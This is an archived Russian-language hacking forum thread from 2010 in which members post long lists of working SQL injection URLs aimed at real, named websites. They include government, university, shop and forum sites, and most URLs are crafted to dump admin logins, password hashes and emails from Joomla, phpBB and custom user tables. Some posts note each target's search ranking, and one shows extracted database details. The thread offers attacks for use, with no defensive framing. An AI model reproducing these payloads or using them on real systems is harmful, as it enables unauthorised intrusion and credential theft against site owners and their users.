ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11571  
Старый 09.03.2010, 21:04
Аватар для artel87
artel87
Новичок
Регистрация: 19.01.2010
Сообщений: 4
Провел на форуме:
57109

Репутация: 9
По умолчанию

Код:
http://www.vales.by/news.php?new_id=-88+union+select+1,user_password,3,4,5,6,username,8+FROM+phpbb_users+LIMIT+1,1+--+
 
Ответить с цитированием

  #11572  
Старый 10.03.2010, 01:46
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Код:
http://ssa-bel.com/page.php?id=2%27+and+1=2+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3+--+
5.0.45-log:ssa_bel_com@localhost:ssa_bel_com

Гугл занимается такой же деятельностью как и мы=)
Вбил inurl: page.php?id= и искал сираницы из Беларуси. На второй странице в названии вижу число 6. Меня это смутило. Ссылка на сайт:
Код:
http://www.google.com.by/url?sa=t&source=web&ct=res&cd=16&ved=0CBAQFjAFOAo&url=http%3A%2F%2Fwww.plenki.by%2Fnews-page.php%3Fid%3D-105%2Bunion%2Bselect%2B0%2C1%2C2%2C3%2C4%2Cversion()%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19&rct=j&q=inurl:page.php%3Fid%3D&ei=0b-WS5XGDqTmnAOS3PC8Cw&usg=AFQjCNGz7uqgZpcTnPhlyMR41Ydo6PNBFA
а сам запрос:
Код:
http://www.google.com.by/#hl=ru&cr=countryBY&q=inurl:page.php%3Fid%3D&start=10&sa=N&fp=8c7f2520348b6730
Очень подняло настроение=)
 
Ответить с цитированием

  #11573  
Старый 10.03.2010, 20:45
Аватар для Paul_V
Paul_V
Новичок
Регистрация: 08.03.2010
Сообщений: 2
Провел на форуме:
2983

Репутация: 7
По умолчанию

http://enjoy.md/category.php?id=-2+UNION+SELECT%201,concat_ws(0x3a,NAME,EMAIL,REMAR K,ADDRESS,LOGIN,PASSWORD,STATUS),3+FROM+user+LIMIT +54,1+--+

P.S: Не понял можно ли выкладывать в таком виде, если нет приношу извинения, исправлюсь.

Последний раз редактировалось Paul_V; 10.03.2010 в 20:48..
 
Ответить с цитированием

  #11574  
Старый 11.03.2010, 11:00
Аватар для Linkus
Linkus
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
Провел на форуме:
436500

Репутация: 11
По умолчанию

http://www.rubikon-band.ru/?vrb=newslist&acl=-49%27+UNION+SELECT+1,2,concat_ws%280x3a3a,version% 28%29,user%28%29,database%28%29,@@version_compile_ os%29,4,5,6--+
 
Ответить с цитированием

  #11575  
Старый 11.03.2010, 12:19
Аватар для DezMond™
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

omedu.ru официальный сайт поддержки ЕГЭ в Омской области. ПР4 ТИЦ 100
Код:
http://www.omedu.ru/?act=download&id=55&id_downloads_cat=-40+union+select+1,2,3,4,5,concat_ws(0x3a3a,login,password,email),7,8,9,10,11+from+user+--+
stereopravda.ru ПР3 ТИЦ 50
Код:
http://www.stereopravda.ru/tov.php?cat=11&subcat=48&id=-96+uNIon+sELEct+1,2,3,user(),5,6,7,8,9,10,11+members+--+
bicopy.ru пр1
Код:
http://bicopy.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9+--+
bologna.mgimo.ru ПР 6 ТИЦ 100
Код:
http://bologna.mgimo.ru/news.php?doc_id=310'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+users+--+
tanganyika.ru ПР4 ТИЦ 190
Код:
http://www.tanganyika.ru/gendesc.php?&gid=-20+uNIon+sELEct+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+
lakra-products.ru
Код:
http://lakra-products.ru/page.php?page=catalog&cat_id=-2.2+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12+from+information_schema.tables+--+
svarng.ru ПР3 ТИЦ30
Код:
http://www.svarng.ru/cat.htm?id=1+union+select+1,2,3,4,5,6,file_priv,8,9,10,11,12,13,14,15,16+from+mysql.user+--+
zzk.lv
Код:
http://www.zzk.lv/rus/tovari/?cat=14&id=-81+union+select+1,2,3,4,5,concat_ws(0x3a3a,username,password,level,gruppa,email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125+from+ins_users+--+
massager.net.ua ПР2
Код:
http://www.massager.net.ua/index.php?page=catalog&cat_id=-4+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--+
sibkeramika.ru
Код:
http://sibkeramika.ru/index.php?m=shop&page=OpenBigImage&good_id=2&image_id=-84'+union+select+1,2,3,4,5,concat_ws(0x3a3a,user_id,email,password,access_site,group_id),7,8+from+users+limit+1,1+--+
ats-telecomserv.ru ПР2 ТИЦ40
Код:
http://ats-telecomserv.ru/?page=Price&ProductCat=-7+UnIon+seLEct+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+group+by+table_schema+--+
ls-wheels.com ПР3 ТИЦ40
Код:
http://www.ls-wheels.com/cat/goods.php?id=-25+union+select+1,2,3,concat_ws(0x3a3a,Code,T_Code,Login,Passwd,FIO,www,EMail),5,6+frOm+ls_dw_Users+--+&raz=1'
ru-board.com ПР4 ТИЦ 850
Код:
http://www.ru-board.com/new/pollBooth.php?op=results&pollID=-2+uNIon+sELEct+concat_ws(0x3a3a,aid,name,pwd,radminsuper),2+from+nuke_authors+--+&screen=4&cat_id=65&viewtype=&action=view&lng=ru
solmaz.info ПР2
Код:
http://www.solmaz.info/gallery.php?photo_id=-611'+union+select+1,2,3,4,5,6,7,8,9+from+authors+--+&screen=4&cat_id=65&viewtype=&action=view&lng=ru
metallurg-nk.ru ПР4 ТИЦ 550
Код:
http://www.metallurg-nk.ru/media/index.php?cat=video&gallery_id=-93'+union+Select+1,2,3,4,5,6,7,8+from+information_schema.tables+--+
sakha-info.ru ПР4 ТИЦ 50
Код:
http://www.sakha-info.ru/?news=-3326'+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
replicawheel.ru
Код:
http://www.replicawheel.ru/cat/goods.php?id=next&pos=236&T_Code=-64+union+select+1,2,3,4,5,6+--+
delotex.ru ПР1 ТИЦ20
Код:
http://www.delotex.ru/cat/?id=40+union+select+1,2,user(),4,5,6,7+--+
iberoasia.com
Код:
http://www.iberoasia.com/seccao.php?seccao=-7'+union+select+1,concat_ws(0x3a3a,user,nome,email,password),3+from+cliente+--+
aces.pt ПР6
Код:
http://www.aces.pt/resultado.php?concelho=-1'+union+select+1,table_name,3,4,5,6+from+information_schema.tables+--+&zona=&sector=8&nome=&morada=&pesquisa_avancada=Pesquisar
beni.ru ПР4 ТИЦ60
Код:
http://www.beni.ru/?part=28'+uNIon+sELEct+1,2,3,4,5,6,7,8+--+&a=cat&page=3'
yarkercher.ru ПР3 ТИЦ30
Код:
http://www.yarkercher.ru/?id=4&cat_id=-4+uNIon+sELEct+1,2,'test',4,5,6+--+
genza.ru ПР3 ТИЦ20
Код:
http://www.genza.ru/?p=rc&cat=boards&id=-7+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--+
kazak-volga.ru ПР3 ТИЦ20
Код:
http://www.kazak-volga.ru/index.php?cat_id=-76+union+select+1,2,3,4+--+
pro-coffee.ru ПР2 ТИЦ20
Код:
http://www.pro-coffee.ru/index.php?ActType=good&id=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+
uzbektours.com ПР2 ТИЦ10
Код:
http://www.uzbektours.com/main.php?nu=-60+union+select+pass+from+users+--+
satstyle.ru ПР2 ТИЦ10
Код:
http://satstyle.ru/index.php?goto=catalog_item&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11+--+
tsp-shop.ru ТИЦ100
Код:
http://www.tsp-shop.ru/vendors/?vendor=-31+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
scandidom.ru ПР3 ТИЦ20
Код:
http://www.scandidom.ru/?part=show&section=kley&elementid=-19+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+--+
rrc.nahabino-centr.ru ПР4 ТИЦ40
Код:
http://www.rrc.nahabino-centr.ru/index.php?p=-9+union+select+1,2,3,4+--+
nahabino-centr.ru ПР4 ТИЦ70
Код:
http://www.nahabino-centr.ru/news/?id=-397+union+select+1,2,3,4,5,6+--+
master-aav.ru ПР4 ТИЦ180
Код:
http://master-aav.ru/katalog.php?cat=-4+union+select+1,2,3,4,5+--+
i-t-c.ru ПР3 ТИЦ50
Код:
http://www.i-t-c.ru/index.php?id=552+union+select+1,2,3,concat_ws(0x3a3a,login,password,name),5+from+user+--+
media.worldpolitics.ru
Код:
http://media.worldpolitics.ru/index.php?action=cat_list&cat_id=-15+union+select+1,2,3,4,5+from+users+--+
adipro.ru ПР2 ТИЦ10
Код:
http://www.adipro.ru/lib.php?id=-31+union+select+1,2,3,concat_Ws(0x3a3a,login,passw),5+from+users+limit+2,1+--+
ekokuhni.ru ПР4 ТИЦ325
Код:
http://www.ekokuhni.ru/?a=cat&id=-95'+uNIon+sELect+1,2,3,unhex(hex(user())),5,6,7,8,9,10,11,12,13,14,15+--+
fable.net.ru ТИЦ 40
Код:
http://fable.net.ru/modules.php?name=FAQ&myfaq=yes&id_cat=1'+union+select+concat_ws(0x3a3a,aid,name,email,pwd,radminsuper)+from+spnuke_authors+--+
irbis.spb.ru ПР4 ТИЦ700
Код:
http://www.irbis.spb.ru/catalog.php?cat_id=&cat=-45+UnIoN+SElecT+1,2,3,4+--+
novokubansk.info ПР3 ТИЦ50
Код:
http://www.novokubansk.info/lenta.php?postid=-1491+union+select+1,2,3,4,5,6,7,8,9+--+#top
dospel.by ПР3 ТИЦ10
Код:
http://www.dospel.by/catalog2.php?id=106&cat=-28+union+select+1,concat_ws(0x3a3a,login,pass),3,4,5,6,7+from+admins+--+
gandilyan.ru ПР3 ТИЦ10
Код:
http://www.gandilyan.ru/index.php?action=cat_show&ordby=firm&type_id=-61+union+select+1,2,concat_ws(0x3a3a,admin_login,admin_pass),4,5+from+admin+--+
emmaljunga-rus.ru ПР3 ТИЦ10
Код:
http://www.emmaljunga-rus.ru/index.php?action=cat_show&ordby=firm&type_id=-87+union+select+1,2,concat_ws(0x3a3a,admin_login,admin_pass),4,5+from+admin+--+
proindigo.ru
Код:
http://www.proindigo.ru/photos.php?album=-28+union+select+1,2,3+from+information_schema.tables+--+
vladtv.ru ПР5 ТИЦ220
Код:
http://www.vladtv.ru/show.php?id=-2071'+union+select+1,2,unhex(hex(concat_ws(0x3a3a,user_email,user_id,user_password))),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+limit+2,1+--+
bougiesland.com ПР4 ТИЦ10
Код:
http://www.bougiesland.com/boutique.php?mode=CitListe&CitCatId=7+union+select+1,2,3,4,user()+/*+
mirabab.fr ПР2
Код:
http://www.mirabab.fr/product_desc.php?id=-9110+union+select+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+
sfsp.fr ПР6
Код:
http://www.sfsp.fr/flash_email/index.php?cid=-86+union+select+concat_ws(0x3a3a,id_administrateur,login,mot_passe,profil,nom,prenom,telephone,email),2,3,4+from+administrateurs+--+
crd-international.com ПР4
Код:
http://www.crd-international.com/news.php?id=-161+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat_Ws(0x3a3a,Util_Id,util_Civ,Util_Prenom,Util_Nom,Util_Login,Util_Pass,Util_Groupe),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+utilisateur+limit+1,1+--+
dmo.or.id ПР6
Код:
http://www.dmo.or.id/content.php?section=-65+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
ronjonesinsurance.com
Код:
http://www.ronjonesinsurance.com/content.php?section=News%20And%20Announcements&contentid=-7'+union+select+1+from+information_schema.tables+--+
proclinic.ru ПР1 ТИЦ10
Код:
http://www.proclinic.ru/product_desc.php?id=-869+union+select+1+--+
selectscales.co.uk ПР2 ТИЦ10
Код:
http://selectscales.co.uk/product_desc.php?id=-18+union+select+1,2,3,4,concat_ws(0x3a3a,admin_id,admin_firstname,admin_lastname,admin_email_address,admin_password,admin_type),6,7,8,9,10,11,12,13,14,15,16,17+from+admin+--+
beautifulmirrors.com
Код:
http://www.beautifulmirrors.com/product_desc.php?id=-1066+union+select+1,2,3,concat_ws(0x3a3a,admin_id,admin_firstname,admin_lastname,admin_email_address,admin_password,admin_type),5,6,7,8,9,10,11,12,13,14,15+from+admin+--+
thebids.info
Код:
http://thebids.info/product_desc.php?id=-19+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+--+
direct-auctions-mijas-costa.com
Код:
http://direct-auctions-mijas-costa.com/product_desc.php?id=-128+union+select+1,2,concat_ws(0x3a3a,admin_email,username_len,pwd_len,site_root),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+sbauctions_config+--+
music-auctions.net
Код:
http://www.music-auctions.net/product_desc.php?id=-11+union+select+1,2,concat_ws(0x3a3a,concat_ws(0x3a3a,id,admin_name,pwd)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+freetplauctions_admin+--+
puntoaste.it
Код:
http://www.puntoaste.it/product_desc.php?id=-758+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+--+
goianiavendas.com
Код:
http://www.goianiavendas.com/product_desc.php?id=-298+union+select+1,2,concat_ws(0x3a3a,username,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+sbclassified_members+--+
maisonfranceconfort.fr
Код:
http://www.maisonfranceconfort.fr/fr/societe.php?marque=-358+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+--+
kalli.lulu-en-furie.be
Код:
http://kalli.lulu-en-furie.be/index.php?viewmode=single&blogid=-508'+union+select+1,2,3,4,5,6,7+--+
kalli.fr
Код:
http://www.kalli.fr/index.php?viewmode=cat&cat=-4'+union+select+1,2,3,4,5,6,7+--+
ish-lyon.cnrs.fr ПР6 ТИЦ10
Код:
http://www.ish-lyon.cnrs.fr/Annuaire/Annuaire_Personne_Fiche_fr.php?ID=-996+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48+--+
la-bnbox.fr ПР2
Код:
http://la-bnbox.fr/cahier.php?cid=-299+union+select+1,2,3,4,5,database(),7,8,9,10,11,12+--+
liendusang.com ПР1
Код:
http://www.liendusang.com/actualite.php?id=-341+union+select+1,2,3,4,5,concat_ws(0x3a3a,username,user_password,user_email,user_type),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+forum_users+/*+&titre=Le%20Grand%20Crois%C3%A9%20:%20Une%20offrande%20%C3%A0%20la%20d%C3%A9mence%20fervente%20!
faoug.ch ПР5 ТИЦ10
Код:
http://www.faoug.ch/index.php?mh=Actualit%E9s&menu=Calendrier&smenu=Les%20dates%20%E0%20venir&id=-112'+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
organisme-formation.fr ПР1
Код:
http://www.organisme-formation.fr/cv.php?cid=-6+union+select+1,2,3+--+
ieti.fr ПР4 ТИЦ10
Код:
http://www.ieti.fr/xoops/modules/bamagalerie3/viewcat.php?id=29'&cid=-14+union+select+1,2,3,4,database(),6,7,8,9,10+--+&min=0&orderby=titreA&show=
malkir.fr
Код:
http://www.malkir.fr/photographies.php?id=-4805'+union+select+1,2,concat_ws(0x3a3a,id,username,password),4,5,6,7,8,9+from+staff+--+
universite-dijon.fr
Код:
http://www.universite-dijon.fr/index/front_office/index_co.php?site_id=120&bg=2&rid=780&cid=-2176+UniON+SEleCT+1,2,3,4,5,6,7,8,9,10,11,12+/*+
flowercampings.com ПР3 ТИЦ10
Код:
http://www.flowercampings.com/fr/liste_camping-Bretagne-Normandie.htm?ref=-14+union+select+1,2,3+--+
 
Ответить с цитированием

  #11576  
Старый 12.03.2010, 10:09
Аватар для _eXorcist_
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Website : http://wdfw.wa.gov/lands/water_access/search/mobile_site.php?searchby=FacilityID+and+1=0+

Database : phplistdb

Table : phplist_admin

loginnameasswordasswordchanged:superuser:

Последний раз редактировалось Jokester; 12.03.2010 в 11:53.. Причина: пароли запрещены
 
Ответить с цитированием

  #11577  
Старый 13.03.2010, 09:33
Аватар для Bramin
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199

Репутация: 127
Отправить сообщение для Bramin с помощью ICQ
По умолчанию

http://www.web-standart.net/magaz.php?mid=1&rid=-8+union+select+1,2,group_concat(0x0b,login,0x3a,pa sswd)+from+users--

http://www.arpk.org/page.php?i=-2+union+select+group_concat%280x0b,table_name%29,2 ,3,4+from+information_schema.tables--

http://www.f1-world.ru/news/news.php3?idnews=-1003090020+union+select+1,group_concat(0x0b,NickNa me,0x3a,PassWd,0x3a,ICQ),3,4,5,6,7,8,9,10,11,12+fr om+fusers--

http://cwar.holdgold.ru/page.php?id=-7+union+select+1,2,group_concat(0x0b,TABLE_NAME),4 ,5+from+information_schema.tables--

http://www.mixcity.net/news/main.php?id=26&id_rub=-999999+union+select+group_concat%280x0b,table_name %29+from+information_schema.tables--&cpage=1

Последний раз редактировалось Bramin; 13.03.2010 в 11:21..
 
Ответить с цитированием

  #11578  
Старый 13.03.2010, 16:12
Аватар для ..::TROYAN::..
..::TROYAN::..
Участник форума
Регистрация: 22.05.2008
Сообщений: 158
Провел на форуме:
2875309

Репутация: 348
Отправить сообщение для ..::TROYAN::.. с помощью ICQ
По умолчанию

Код:
http://www.avosbillets.com/index.php?option=com_avosbillets&task=view&view=event&id=-463+union+select+1,concat%28username,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users--
http://www.waw.lv/lv/component/gameserver/?view=gameserver&grp=-1%27+union+all+select+1,concat%28username,0x3A,password%29,3,4,5,6,7+from+jos_users%23
http://www.nikgrey.com/component/gameserver/?view=gameserver&grp=-1%27+union+all+select+1,concat%28username,0x3A,password%29,3,4,5,6,7+from+jos_users%23
http://www.archivesofrss.org/index.php?option=com_gurujibook&task=showPDF&bookid=-32+union+all+select+concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://www.southwestnats.com/component/gameserver/?view=gameserver&grp=-1%27+union+all+select+1,concat%28username,0x3A,password%29,3,4,5,6,7+from+jos_users%23
http://www.pagesunited.com/component/gameserver/?view=gameserver&grp=-1%27+union+all+select+1,concat%28username,0x3A,password%29,3,4,5,6,7+from+jos_users%23
http://www.litkomtula.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.radiocom.dn.ua/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://smeser.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://chulakovka.com.ua/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://rastvor-beton.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.m-protect.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://idahogangs.com/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.hexgames.com/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.airballdesigner.com/EN/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://ombudsman.lgg.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.heathlandsfc.co.uk/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.qerth.com/home/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://green-infrastructure-europe.org/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.warwickturfclub.org.au/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.heathlandsfc.co.uk/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.awf.de/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://koriaginn.zx6.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.flevobike.nl/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.schenksa.ch/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://cms.heigermoser.name/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.phdbrasil.com.br/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.aeroclubuldrobeta.ro/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--
http://risen-piranhas.de/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.asadatec.de/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.vmgsm.ru/show_cat2.php?grid=-1+union+select+concat_ws(0x3a,user(),version())--
http://theancientsprings.de/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.microprice.fr/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.zweckverband-gdv.de/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--
http://www.dielinke-nds.de/orga/gs-nds/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.fnsa.com.ar/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.phdbrasil.com.br/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.qulleq.com/main/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.flevobike.nl/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.elaiolado.gr/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.escal49.fr/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.comeos.com/abdel/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.ccdck.ch/jomccdck/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.agmodena.it/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.multipermis.be/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://softproject.com.ua/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.cfase972.com/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.airballdesigner.com/FR/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.ecoletheologique-stcyprien.org/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.etalon1.ru/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat%28username,0x3a,password%29,4,5,6,7,8/**/from/**/jos_users--
http://www.opensourcelearning.info/portaal/index.php?option=com_lyftenbloggie&author=62+union+select+1,concat_ws%280x3a,username,password%29,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users--
http://rudom.org/index.php?option=com_lyftenbloggie&author=62+union+select+1,concat_ws%280x3a,username,password%29,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users--
http://www.sci-bono.co.za/home/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://junkgirls.com/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://www.jfpb.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://www.vfw9907.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://realitynow.org/grid/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://swrfa.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://www.irb.ch/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
http://www.roswellnm.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
